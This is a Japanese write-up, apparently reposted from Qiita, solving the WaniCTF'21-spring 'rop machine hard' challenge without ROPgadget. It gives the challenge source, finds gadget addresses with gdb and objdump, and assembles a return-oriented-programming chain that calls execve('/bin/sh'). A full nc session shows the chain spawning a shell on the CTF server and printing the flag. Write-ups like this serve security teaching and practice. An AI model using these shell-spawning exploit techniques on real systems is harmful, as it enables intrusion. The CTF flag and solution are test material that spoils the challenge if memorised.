WaniCTF'21-spring pwn 05 rop machine hard Writeup
勉強のため, ROPgadget を使わずに解く。
1年前は,こういう問題は全く解けなかった。進歩がうれしい。
情報収集
配布ソースに syscall と "/bin/sh" があるので, execve("/bin/sh",NULL,NULL) を狙う。
syscallに飛ばす直前のレジスタ
レジスタ | 値 |
---|---|
RAX | 0x3b (59 execve) |
RDI | "/bin/sh"のアドレス |
RSI | 0x0 |
RDX | 0x0 |
の状態でretでsyscallに飛ばす
スタック設計図
| pop rax; ret |
+--------------------+
| 0x3b |
+--------------------+
| pop rdi; ret |
+--------------------+
| "/bin/sh" |
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0 |
+--------------------+
| syscall; ret |
問題
05 rop machine hard
232pt Normal
nc rop-hard.pwn.wanictf.org 9005
ヒント
ROPgadgetコマンドの使い方を覚えましょう。
rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
ROPgadget
gccのセキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効
ソースコード
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
char dummy[] = "dummy";
char binsh[] = "/bin/sh";
void init() {
alarm(300);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void rop_pop_rdi() {
__asm__(
"pop %rdi\n\t"
"ret\n\t");
}
void rop_pop_rdx() {
__asm__(
"pop %rdx\n\t"
"ret\n\t");
}
void rop_pop_rax() {
__asm__(
"pop %rax\n\t"
"ret\n\t");
}
void rop_syscall() {
__asm__(
"syscall\n\t"
"ret\n\t");
}
void print_menu() {
printf(
"\n[menu]\n"
"1. append hex value\n"
"8. show menu (this one)\n"
"9. show rop_arena\n"
"0. execute rop\n");
}
u_int64_t get_uint64() {
char buf[64];
u_int64_t ret;
ret = read(0, buf, 63);
buf[ret] = 0;
ret = strtoul(buf, NULL, 16);
return ret;
}
u_int64_t menu() {
u_int64_t ret;
printf("> ");
ret = get_uint64();
return ret;
}
void show_arena(u_int64_t* rop_arena, int index) {
int i;
puts(" rop_arena");
puts("+--------------------+");
for (i = 0; i < index; i++) {
printf("| 0x%016lx |", rop_arena[i]);
if (i == 0) {
printf("<- rop start");
}
printf("\n");
puts("+--------------------+");
}
}
void rop_machine() {
u_int64_t rop_arena[128];
u_int64_t* top = rop_arena;
int index = 0;
u_int64_t ret;
print_menu();
while (1) {
int cmd = menu();
switch (cmd) {
case 1:
printf("hex value?: ");
ret = get_uint64();
rop_arena[index] = ret;
index++;
printf("0x%016lx is appended\n", ret);
break;
case 8:
print_menu();
break;
case 9:
show_arena(rop_arena, index);
break;
case 0:
show_arena(rop_arena, index);
{
register u_int64_t rsp asm("rsp");
rsp = (u_int64_t)rop_arena;
__asm__("ret");
exit(0);
}
default:
puts("bye beginner!!\n");
exit(1);
break;
}
}
}
int main() {
init();
rop_machine();
}
Solution
nc してみる
[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
各アドレス情報の収集
関数アドレスは gdb で
gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>
gdb-peda$ p &rop_pop_rdi
$2 = (<text variable, no debug info> *) 0x401287 <rop_pop_rdi>
gdb-peda$ p &rop_pop_rdx
$3 = (<text variable, no debug info> *) 0x401294 <rop_pop_rdx>
gdb-peda$ p &rop_pop_rax
$4 = (<text variable, no debug info> *) 0x4012a1 <rop_pop_rax>
gdb-peda$ p &rop_syscall
$5 = (<text variable, no debug info> *) 0x4012ae <rop_syscall>
pop rsi; ret; が無いので,コード領域からマシン語とアセンブラを見て探す。
pop rsi; はマシン語で 5e
ret; はマシン語で c3
$ objdump -d -M intel ./pwn05 | less
401610: 41 5e pop r14
401612: 41 5f pop r15
401614: c3 ret
このパターンは前にも見たことがある。
401611 に飛ばすと
pop rsi; が実行され
pop r15; が実行された後,
ret;でスタックが示すアドレスに飛ぶ
つまり,pop r15;の分だけ,スタックを調整する必要がある。
スタック設計図
+------------------------+
| pop rax; ret | 4012a1
+------------------------+
| 0x3b | 3b
+------------------------+
| pop rdi; ret | 401287
+------------------------+
| "/bin/sh" | 404078
+------------------------+
| pop rsi; pop r15 ; ret | 401611
+------------------------+
| 0x0 | 0
+------------------------+
| 0x0 | 0 <-- これが臨機応変に対応したところ(pop r15用)
+------------------------+
| pop rdx; ret | 401294
+------------------------+
| 0x0 | 0
+------------------------+
| syscall; ret | 4012ae
+------------------------+
失敗した。
原因は?
objdumpで各アドレスを再確認すると
0000000000401287 <rop_pop_rdi>:
401287: f3 0f 1e fa endbr64
40128b: 55 push rbp
40128c: 48 89 e5 mov rbp,rsp
40128f: 5f pop rdi
401290: c3 ret
関数の入り口ではダメよね。
情報収集やり直し
gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>
$ objdump -d -M intel ./pwn05 | less
40128f: 5f pop rdi
401290: c3 ret
40129c: 5a pop rdx
40129d: c3 ret
4012a9: 58 pop rax
4012aa: c3 ret
00000000004012ae <rop_syscall>:
4012ae: f3 0f 1e fa endbr64
4012b2: 55 push rbp
4012b3: 48 89 e5 mov rbp,rsp
4012b6: 0f 05 syscall
pop rsi ; pop r15 ; ret ;
401610: 41 5e pop r14
401612: 41 5f pop r15
401614: c3 ret
スタック設計図
+------------------------+
| pop rax; ret | 4012a9
+------------------------+
| 0x3b | 3b
+------------------------+
| pop rdi; ret | 40128f
+------------------------+
| "/bin/sh" | 404078
+------------------------+
| pop rsi; pop r15 ; ret | 401611
+------------------------+
| 0x0 | 0
+------------------------+
| 0x0 | 0 <-- これが臨機応変に対応したところ(pop r15用)
+------------------------+
| pop rdx; ret | 40129c
+------------------------+
| 0x0 | 0
+------------------------+
| syscall; ret | 4012b6
+------------------------+
実行に移す
$ nc rop-hard.pwn.wanictf.org 9005
[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 4012a9
0x00000000004012a9 is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 1
hex value?: 40128f
0x000000000040128f is appended
> 1
hex value?: 404078
0x0000000000404078 is appended
> 1
hex value?: 401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 40129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 4012b6
0x00000000004012b6 is appended
> 9
rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
> 0
rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}
ビンゴ!
参考になったサイト
作問者writeup
Author And Source
この問題について(WaniCTF'21-spring pwn 05 rop machine hard Writeup), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/c9192d8fa4e00ade1c72著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .